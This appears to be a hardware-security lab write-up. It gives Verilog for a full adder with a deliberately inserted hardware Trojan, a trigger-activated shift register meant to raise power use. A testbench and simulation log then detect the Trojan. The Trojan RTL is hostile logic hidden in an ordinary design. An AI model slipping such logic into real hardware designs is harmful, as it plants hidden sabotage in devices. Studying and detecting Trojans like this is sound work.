  - Correct pre-trigger operation
  - Bit-reversal after activation

RTL modified

```
module half_adder (
    input  a, b,
    output sum, carry
);
    assign sum   = a ^ b;   // XOR for sum
    assign carry = a & b;   // AND for carry
endmodule
module full_adder (
    input  a, b, cin,
    output sum, cout,
    input  clk,           // Trojan: Added clock input for shift register
    input  rst_n          // Trojan: Active-low reset for Trojan logic
);
    wire s1, c1, c2;
    half_adder ha1 (
        .a(a),
        .b(b),
        .sum(s1),
        .carry(c1)
    );
    half_adder ha2 (
        .a(s1),
        .b(cin),
        .sum(sum),
        .carry(c2)
    );
    // Final carry
    assign cout = c1 | c2;
    // ---------------------------------------
    // Trojan addition: T4 type (power-raising shift register)
    // ---------------------------------------
    // Trojan parameters
    localparam TROJAN_SHIFT_REG_WIDTH = 16;  // Can be resized for effect
    reg [TROJAN_SHIFT_REG_WIDTH-1:0] trojan_shift_reg;
    reg trojan_enable;
    reg [7:0] trojan_counter;
    // Trojan: Trigger logic (triggered when adder input is all 1's for 4 cycles)
    always @(posedge clk or negedge rst_n) begin
        if (!rst_n) begin
            trojan_counter      <= 8'd0;
            trojan_enable       <= 1'b0;
            trojan_shift_reg    <= {TROJAN_SHIFT_REG_WIDTH{1'b0}};
        end else begin
            // Trojan trigger: a==1, b==1, cin==1 for 4 consecutive cycles
            if ((a & b & cin) == 1'b1) begin
                if (trojan_counter < 8'd4)
                    trojan_counter <= trojan_counter + 1;
                else
                    trojan_counter <= trojan_counter;
            end else begin
                trojan_counter <= 8'd0;
            end
            // Trojan enable: When trojan_counter reaches 4
            if (trojan_counter == 8'd4)
                trojan_enable <= 1'b1;
            else if (!trojan_enable)
                trojan_enable <= 1'b0;  // latch enable once set, hold on until reset
            // Trojan shift register payload runs only when enabled
            if (trojan_enable) begin
                        trojan_shift_reg <= {trojan_shift_reg[TROJAN_SHIFT_REG_WIDTH-2:0],
trojan_shift_reg[TROJAN_SHIFT_REG_WIDTH-1] ^ 1'b1};
            end else begin
                trojan_shift_reg <= {TROJAN_SHIFT_REG_WIDTH{1'b0}};
            end
        end
    end
    // --------------------------------------
endmodule
```

TEST BENCH

```
`timescale 1ns/1ps
module tb_full_adder_T4_detect_internal;
  reg clk;
  reg rst_n;
  reg a,b,cin;
  wire sum,cout;
  // Instantiate DUT
  full_adder dut(
    .a(a),.b(b),.cin(cin),
    .sum(sum),.cout(cout),
    .clk(clk),.rst_n(rst_n)
  );
  // Clock
```

```
initial clk = 0;
always #5 clk = ~clk; // 10ns period
integer i;
reg [15:0] prev_shift;
integer toggle_count;
integer trojan_detected;
initial begin
  $dumpfile("tb_full_adder_T4_detect_internal.vcd");
  $dumpvars(0, tb_full_adder_T4_detect_internal);
  trojan_detected = 0;
  toggle_count = 0;
  // Reset
  rst_n = 0;
  a = 0; b = 0; cin = 0;
  repeat(2) @(posedge clk);
  rst_n = 1;
  @(posedge clk);
  // --- Trigger Trojan: (a,b,cin)=111 for 6 cycles ---
  $display("\nApplying Trojan trigger: (a,b,cin)=111 for 6 cycles");
  for (i = 0; i < 6; i = i + 1) begin
    a=1; b=1; cin=1;
    @(posedge clk);
  end
  // --- Observe internal shift register for 50 cycles ---
  $display("\nObserving internal Trojan shift register activity...");
  prev_shift = dut.trojan_shift_reg;
  for (i = 0; i < 50; i = i + 1) begin
    @(posedge clk);
    if (dut.trojan_shift_reg !== prev_shift) begin
      toggle_count = toggle_count + 1;
      prev_shift = dut.trojan_shift_reg;
    end
  end
  $display("\nShift register toggled %0d times after trigger.", toggle_count);
  // Detection threshold: any sustained toggling means Trojan is active
  if (toggle_count > 5) begin
    $display("TROJAN DETECTED: Internal shift register is oscillating!");
    trojan_detected = 1;
  end else begin
    $display("No abnormal internal activity detected.");
  end
  // --- Final verdict ---
  if (trojan_detected)
    $display("\nFINAL RESULT: TROJAN DETECTED ");
    else
      $display("\nFINAL RESULT: NO TROJAN DETECTED ");
    #10 $finish;
  end
endmodule
```

COMPILATION



```
VCD info: dumpfile tb_full_adder_T4_detect_internal.vcd opened for output.

Applying Trojan trigger: (a,b,cin)=111 for 6 cycles

Observing internal Trojan shift register activity...

Shift register toggled 50 times after trigger.
TROJAN DETECTED: Internal shift register is oscillating!

FINAL RESULT: TROJAN DETECTED ✅
```